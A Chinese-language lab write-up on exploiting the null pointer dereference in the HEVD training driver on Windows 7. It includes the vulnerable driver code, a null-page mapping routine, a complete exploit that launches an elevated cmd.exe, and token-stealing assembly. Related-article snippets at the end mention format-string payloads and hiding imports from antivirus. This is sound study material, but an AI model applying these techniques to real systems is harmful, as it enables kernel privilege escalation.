<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    內核漏洞學習-HEVD-NullPointerDereference

    VSole2022-01-11 16:35:20

    概述

    HEVD:漏洞靶場,包含各種Windows內核漏洞的驅動程序項目,在Github上就可以找到該項目,進行相關的學習。

    Releases · hacksysteam/HackSysExtremeVulnerableDriver · GitHub

    環境準備:

    Windows 7 X86 sp1 虛擬機

    使用VirtualKD和windbg雙機調試

    HEVD 3.0+KmdManager+DubugView

    前置知識

    指針的三種錯誤使用:

    1、由指針指向的一塊動態內存,在利用完后,沒有釋放內存,導致內存泄露

    2、野指針(懸浮指針)的使用,在指針指向的內存空間使用完釋放后,指針指向的內存空間已經歸還給了操作系統,此時的指針成為野指針,在沒有對野指針做處理的情況下,有可能對該指針再次利用導致指針引用錯誤而程序崩潰。

    3、Null Pointer空指針的引用,對于空指針的錯誤引用往往是由于在引用之前沒有對空指針做判斷,就直接使用空指針,還有可能把空指針作為一個對象來使用,間接使用對象中的屬性或是方法,而引起程序崩潰,空指針的錯誤使用常見于系統、服務、軟件漏洞方面。

    總結

    free(p)后:p仍然指向那塊地址,但是地址被釋放,回歸給系統,指針仍然可以使用,可以利用池噴射,去多次申請內昆空間,撞這個指針p指向的地址,改寫這個地址內容,在調用p,執行自己寫入的代碼。

    p=NULL 后:p 不指向任何內存地址,通常指向000 0頁地址,通過ntallocvirtualmemory 申請0頁地址空間。在0頁地址寫代碼。調用null指針,執行shellcode。

    使用ntallocvirtualmemory 函數申請內存:NtAllocateVirtualMemory function (ntifs.h) - Windows drivers | Microsoft Docs

    漏洞點分析

    空指針漏洞

    此類漏洞利用主要集中在兩種方式上:

    1、利用NULL指針。

    2、利用零頁內存分配可用內存空間

    (1)分析漏洞點

    UserValue = *(PULONG)UserBuffer;從用戶模式獲取value的值,如果uservalue=magicvalue的值,向緩沖區賦值,并打印信息,反之則釋放緩沖區,清空指針( NullPointerDereference = NULL;),之后,對于安全版本,對NullPointerDereference進行檢查判斷其是否被置空,非安全版本,未對NullPointerDereference進行檢查判斷,直接調用callback。

    NTSTATUSTriggerNullPointerDereference(    _In_ PVOID UserBuffer){    ULONG UserValue = 0;    ULONG MagicValue = 0xBAD0B0B0;    NTSTATUS Status = STATUS_SUCCESS;    PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL;     PAGED_CODE();     __try    {        //        // Verify if the buffer resides in user mode        //         ProbeForRead(UserBuffer, sizeof(NULL_POINTER_DEREFERENCE), (ULONG)__alignof(UCHAR));         //        // Allocate Pool chunk        //         NullPointerDereference = (PNULL_POINTER_DEREFERENCE)ExAllocatePoolWithTag(            NonPagedPool,            sizeof(NULL_POINTER_DEREFERENCE),            (ULONG)POOL_TAG        );         if (!NullPointerDereference)        {            //            // Unable to allocate Pool chunk            //             DbgPrint("[-] Unable to allocate Pool chunk");             Status = STATUS_NO_MEMORY;            return Status;        }        else        {            DbgPrint("[+] Pool Tag: %s", STRINGIFY(POOL_TAG));            DbgPrint("[+] Pool Type: %s", STRINGIFY(NonPagedPool));            DbgPrint("[+] Pool Size: 0x%X", sizeof(NULL_POINTER_DEREFERENCE));            DbgPrint("[+] Pool Chunk: 0x%p", NullPointerDereference);        }         //        // Get the value from user mode        //         UserValue = *(PULONG)UserBuffer;         DbgPrint("[+] UserValue: 0x%p", UserValue);        DbgPrint("[+] NullPointerDereference: 0x%p", NullPointerDereference);         //        // Validate the magic value        //         if (UserValue == MagicValue)        {            NullPointerDereference->Value = UserValue;            NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback;             DbgPrint("[+] NullPointerDereference->Value: 0x%p", NullPointerDereference->Value);            DbgPrint("[+] NullPointerDereference->Callback: 0x%p", NullPointerDereference->Callback);        }        else        {            DbgPrint("[+] Freeing NullPointerDereference Object");            DbgPrint("[+] Pool Tag: %s", STRINGIFY(POOL_TAG));            DbgPrint("[+] Pool Chunk: 0x%p", NullPointerDereference);             //            // Free the allocated Pool chunk            //             ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);             //            // Set to NULL to avoid dangling pointer            //             NullPointerDereference = NULL;        } #ifdef SECURE        //        // Secure Note: This is secure because the developer is checking if        // 'NullPointerDereference' is not NULL before calling the callback function        //         if (NullPointerDereference)        {            NullPointerDereference->Callback();        }#else        DbgPrint("[+] Triggering Null Pointer Dereference");         //        // Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability        // because the developer is not validating if 'NullPointerDereference' is NULL        // before calling the callback function        //         NullPointerDereference->Callback();#endif    }    __except (EXCEPTION_EXECUTE_HANDLER)    {        Status = GetExceptionCode();        DbgPrint("[-] Exception Code: 0x%X", Status);    }     return Status;}
    

    漏洞利用

    HEVD_IOCTL_NULL_POINTER_DEREFERENCE控制碼對應的派遣函數NullPointerDereferenceIoctlHandler case。

    HEVD_IOCTL_NULL_POINTER_DEREFERENCE:DbgPrint("****** HEVD_IOCTL_NULL_POINTER_DEREFERENCE ******");Status = NullPointerDereferenceIoctlHandler(Irp, IrpSp);DbgPrint("****** HEVD_IOCTL_NULL_POINTER_DEREFERENCE ******");break;
    

    NullPointerDereferenceIoctlHandler函數調用TriggerNullPointerDereference觸發漏洞。

    NTSTATUSNullPointerDereferenceIoctlHandler(    _In_ PIRP Irp,    _In_ PIO_STACK_LOCATION IrpSp){    PVOID UserBuffer = NULL;    NTSTATUS Status = STATUS_UNSUCCESSFUL;     UNREFERENCED_PARAMETER(Irp);    PAGED_CODE();     UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;     if (UserBuffer)    {        Status = TriggerNullPointerDereference(UserBuffer);    }     return Status;}
    

    (1)測試

    #include#includeHANDLE hDevice = NULL; #define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)int main(){     hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE,        NULL,        NULL,        OPEN_EXISTING,        NULL,        NULL        );    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)    {        printf("[-]failed to get device handle !");        return FALSE;     }    printf("[+]success to get device  handle");     if (hDevice) {         DWORD bReturn = 0;        char buf[4] = { 0 };        *(PDWORD32)(buf) = 0x12345678;         DeviceIoControl(hDevice, HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE, buf, 4, NULL, 0, &bReturn, NULL);    }   }
    

    當我們傳入值與MagicValue值不匹配時,則會觸發漏洞。

    因為uservalue=0xBAD0B0B0,所以打印出信息。

    (2)漏洞利用

    官方給出的方法也是利用NtAllocateVirtualMemory函數,在0頁申請內存。

    該函數在指定進程的虛擬空間中申請一塊內存,該塊內存默認將以64kb大小對齊,所以SIZE_T RegionSize = 0x1000;

    BOOL MapNullPage() {    HMODULE hNtdll;    SIZE_T RegionSize = 0x1000;            // will be rounded up to the next host                                           // page size address boundary -> 0x2000PVOID BaseAddress = (PVOID)0x00000001; // will be rounded down to the next host                                       // page size address boundary -> 0x00000000NTSTATUS NtStatus = STATUS_UNSUCCESSFUL; hNtdll = GetModuleHandle("ntdll.dll"); // Grab the address of NtAllocateVirtualMemoryNtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hNtdll, "NtAllocateVirtualMemory"); if (!NtAllocateVirtualMemory) {    DEBUG_ERROR("\t\t[-] Failed Resolving NtAllocateVirtualMemory: 0x%X", GetLastError());    exit(EXIT_FAILURE);} // Allocate the Virtual memoryNtStatus = NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF,                                   &BaseAddress,                                   0,                                   &RegionSize,                                   MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,                                   PAGE_EXECUTE_READWRITE); if (NtStatus != STATUS_SUCCESS) {    DEBUG_ERROR("\t\t\t\t[-] Virtual Memory Allocation Failed: 0x%x", NtStatus);    exit(EXIT_FAILURE);}else {    DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p", BaseAddress);    DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X", RegionSize);} FreeLibrary(hNtdll); return TRUE;
    

    申請成功后,將shellcode地址放入偏移四字節處,因為CallBack成員在結構體的0x4字節處,使傳入值與MagicValue值不匹配,觸發漏洞。

    ULONG MagicValue = 0xBAADF00D;     PVOID EopPayload = &TokenStealingPayloadWin7Generic;__try {        // Get the device handle        DEBUG_MESSAGE("\t[+] Getting Device Driver Handle");        DEBUG_INFO("\t\t[+] Device Name: %s", FileName);         hFile = GetDeviceHandle(FileName);         if (hFile == INVALID_HANDLE_VALUE) {            DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X", GetLastError());            exit(EXIT_FAILURE);        }        else {            DEBUG_INFO("\t\t[+] Device Handle: 0x%X", hFile);        }         DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage");         DEBUG_INFO("\t\t[+] Mapping Null Page");         if (!MapNullPage()) {            DEBUG_ERROR("\t\t[-] Failed Mapping Null Page: 0x%X", GetLastError());            exit(EXIT_FAILURE);        }         DEBUG_INFO("\t\t[+] Preparing Null Page Memory Layout");         NullPointerPlus4 = (PVOID)((ULONG)NullPageBaseAddress + 0x4);         // Now set the function pointer        *(PULONG)NullPointerPlus4 = (ULONG)EopPayload;         DEBUG_INFO("\t\t\t[+] NullPage+0x4 Value: 0x%p", *(PULONG)NullPointerPlus4);        DEBUG_INFO("\t\t\t[+] NullPage+0x4 Address: 0x%p", NullPointerPlus4);         DEBUG_INFO("\t\t[+] EoP Payload: 0x%p", EopPayload);         DEBUG_MESSAGE("\t[+] Triggering Null Pointer Dereference");         OutputDebugString("****************Kernel Mode****************");         DeviceIoControl(hFile,                        HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE,                        (LPVOID)&MagicValue,                        0,                        NULL,                        0,                        &BytesReturned,                        NULL);         OutputDebugString("****************Kernel Mode****************");    }    __except (EXCEPTION_EXECUTE_HANDLER) {        DEBUG_ERROR("\t\t[-] Exception: 0x%X", GetLastError());        exit(EXIT_FAILURE);    }     return EXIT_SUCCESS;}
    

    exp,可供參考

    #include#include#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)   typedef NTSTATUS(WINAPI* NtAllocateVirtualMemory1)(    IN HANDLE ProcessHandle,    IN OUT PVOID* BaseAddress,    IN ULONG ZeroBits,    IN OUT PULONG RegionSize,    IN ULONG AllocationType,    IN ULONG Protect);NtAllocateVirtualMemory1 NtAllocateVirtualMemory = NULL;  HANDLE hDevice = NULL;  static VOID payload(){    _asm    {        //.....    }} int main(){    //獲得device  handle    hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",        GENERIC_READ | GENERIC_WRITE,        NULL,        NULL,        OPEN_EXISTING,        NULL,        NULL);     printf("[+]Start to get handle ");    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)    {        printf("[+]Failed to get HANDLE!!!");        system("pause");        return 0;    }    printf("[+]Success to get handle");     DWORD aReturn = 0;    char buf[4] = { 0 };    *(PDWORD32)(buf) = 0x123456789;//觸發漏洞    //申請0頁內存     (FARPROC*)NtAllocateVirtualMemory = GetProcAddress(        GetModuleHandleW(L"ntdll"),        "NtAllocateVirtualMemory");    if (NtAllocateVirtualMemory == NULL)    {        printf("[-]Failed to get NtAllocateVirtualMemory address ");        system("pause");        return 0;    }    else    printf("[+]success to get  NtAllocateVirtualMemory address ");    PVOID basedaress = (PVOID)1;    SIZE_T allockSize = 0x1000;    NTSTATUS status= NtAllocateVirtualMemory(        INVALID_HANDLE_VALUE,        &basedaress,        0,        &allockSize,        MEM_COMMIT | MEM_RESERVE,        PAGE_READWRITE);    if(status<0)     {        printf("[-]NtAllocateVirtualMemory write failed");        system("pause");        return 0;    }     printf("[+]NtAllocateVirtualMemory write success ");    *(DWORD*)(0x4) = (DWORD)&payload;       //調用TriggerNullPointerDereference函數    DeviceIoControl(hDevice, HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE, buf, 4, NULL, 0, &aReturn, NULL);    //提權啟動cmd     printf("[+]Start to Create cmd...");    STARTUPINFO si = { sizeof(si) };    PROCESS_INFORMATION pi = { 0 };    si.dwFlags = STARTF_USESHOWWINDOW;    si.wShowWindow = SW_SHOW;    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);     system("pause");     return 0;}
    

    payload功能:遍歷進程,得到系統進程的token,把當前進程的token替換,達到提權目的。

    相關內核結構體:在內核模式下,fs:[0]指向KPCR結構體。

    _KPCR+0x120 PrcbData         : _KPRCB_KPRCB+0x004 CurrentThread    : Ptr32 _KTHREAD,_KTHREAD指針,這個指針指向_KTHREAD結構體_KTHREAD+0x040 ApcState         : _KAPC_STATE_KAPC_STATE+0x010 Process          : Ptr32 _KPROCESS,_KPROCESS指針,這個指針指向EPROCESS結構體_EPROCESS   +0x0b4 UniqueProcessId  : Ptr32 Void,當前進程ID,系統進程ID=0x04   +0x0b8 ActiveProcessLinks : _LIST_ENTRY,雙向鏈表,指向下一個進程的ActiveProcessLinks結構體處,通過這個鏈表我們可以遍歷所有進程,以尋找我們需要的進程   +0x0f8 Token            : _EX_FAST_REF,描述了該進程的安全上下文,同時包含了進程賬戶相關的身份以及權限
    

    payload:注意堆棧平衡問題。

     __asm {        pushad                               ; Save registers state         ; Start of Token Stealing Stub        xor eax, eax                         ; Set ZERO        mov eax, fs:[eax + KTHREAD_OFFSET]   ; Get nt!_KPCR.PcrbData.CurrentThread                                             ; _KTHREAD is located at FS:[0x124]         mov eax, [eax + EPROCESS_OFFSET]     ; Get nt!_KTHREAD.ApcState.Process         mov ecx, eax                         ; Copy current process _EPROCESS structure         mov edx, SYSTEM_PID                  ; WIN 7 SP1 SYSTEM process PID = 0x4         SearchSystemPID:            mov eax, [eax + FLINK_OFFSET]    ; Get nt!_EPROCESS.ActiveProcessLinks.Flink            sub eax, FLINK_OFFSET            cmp [eax + PID_OFFSET], edx      ; Get nt!_EPROCESS.UniqueProcessId            jne SearchSystemPID         mov edx, [eax + TOKEN_OFFSET]        ; Get SYSTEM process nt!_EPROCESS.Token        mov [ecx + TOKEN_OFFSET], edx        ; Replace target process nt!_EPROCESS.Token                                             ; with SYSTEM process nt!_EPROCESS.Token        ; End of Token Stealing Stub         popad                                ; Restore registers state    }}
    

    運行exp提權成功:

    指針printf
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    HOOK技術實戰
    2021-10-19 05:55:56
    對于Windows系統,它是建立在事件驅動機制上的,說白了就是整個系統都是通過消息傳遞實現的。hook(鉤子)是一種特殊的消息處理機制,它可以監視系統或者進程中的各種事件消息,截獲發往目標窗口的消息并進行處理。所以說,我們可以在系統中自定義鉤子,用來監視系統中特定事件的發生,完成特定功能,如屏幕取詞,監視日志,截獲鍵盤、鼠標輸入等等。
    干貨 | HOOK技術實戰
    2021-10-16 10:09:27
    基礎知識對于Windows系統,它是建立在事件驅動機制上的,說白了就是整個系統都是通過消息傳遞實現的。鉤子可以分為線程鉤子和系統鉤子,線程鉤子可以監視指定線程的事件消息,系統鉤子監視系統中的所有線程的事件消息。當前鉤子處理結束后應把鉤子信息傳遞給下一個鉤子函數。PE頭是固定不變的,位于DOS頭部中e_ifanew字段指出位置。
    從代碼視角來分析漏洞問題
    堆、UAF之PWN從實驗到原理
    在該程序中只需要判斷x=4即可獲得系統shell。查看發現x的值為3,同時得到x的地址為0x804A02C在printf函數中的參數可控 于是可能存在格式化字符漏洞,利用字符串漏洞重寫x的值。輸入的字符串會存儲進入棧內,然后printf函數使用輸入的內容作為格式化字符串進行控制輸出。輸入多個%p打印棧上的內容判斷輸入的數據在棧上離棧頂的偏移。構造如下AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%pfrom pwn import *p=remoteadrr=p32PAYLOAD=b"AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p"p.sendline. p.interactive()可以計算該偏移量為11。
    UAF漏洞全稱為use after free,即釋放后重用。
    前言在PE文件中,存在iat導入表,記錄了PE文件使用的API以及相關的dll模塊。可以看到使用了MessageBox這個API殺軟會對導入表進行查殺,如果發現存在惡意的API,比如VirtualAlloc,CreateThread等,就會認為文件是一個惡意文件。自定義API函數FARPROC GetProcAddress;定義:typedef int ();HMODULE LoadLibraryA; // 成功返回句柄 失敗返回NULL. 這里GetModuleHandle和LoadLibrary作用是一樣的,獲取dll文件。HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType );printf; pMessageBox MyMessageBox = GetProcAddress; MyMessageBox; return 0;}. 程序可以正常運行:查看其導入表:User32.dll和MessageBox都不存在。實戰測試用創建進程的方式加載shellcode。
    EXP編寫學習之繞過GS
    2023-02-20 09:58:16
    棧中的守護天使 :GSGS原理向棧內壓入一個隨機的DWORD值,這個隨機數被稱為canary ,IDA稱為 Security Cookie。Security Cookie 放入 ebp前,并且data節中存放一個 Security Cookie的副本。棧中發生溢出時,Security Cookie首先被淹沒,之后才是ebp和返回地址。函數返回之前,會添加一個Security Cookie驗證操作,稱為Security Check。檢測到溢出時,系統將進入異常處理流程,函數不會正常返回,ret也不會被執行。函數使用無保護的關鍵字標記。緩沖區不是8字節類型 且 大小不大于4個字節。可以為函數強制啟用GS。
    PWN 堆利用 unlink 學習筆記
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类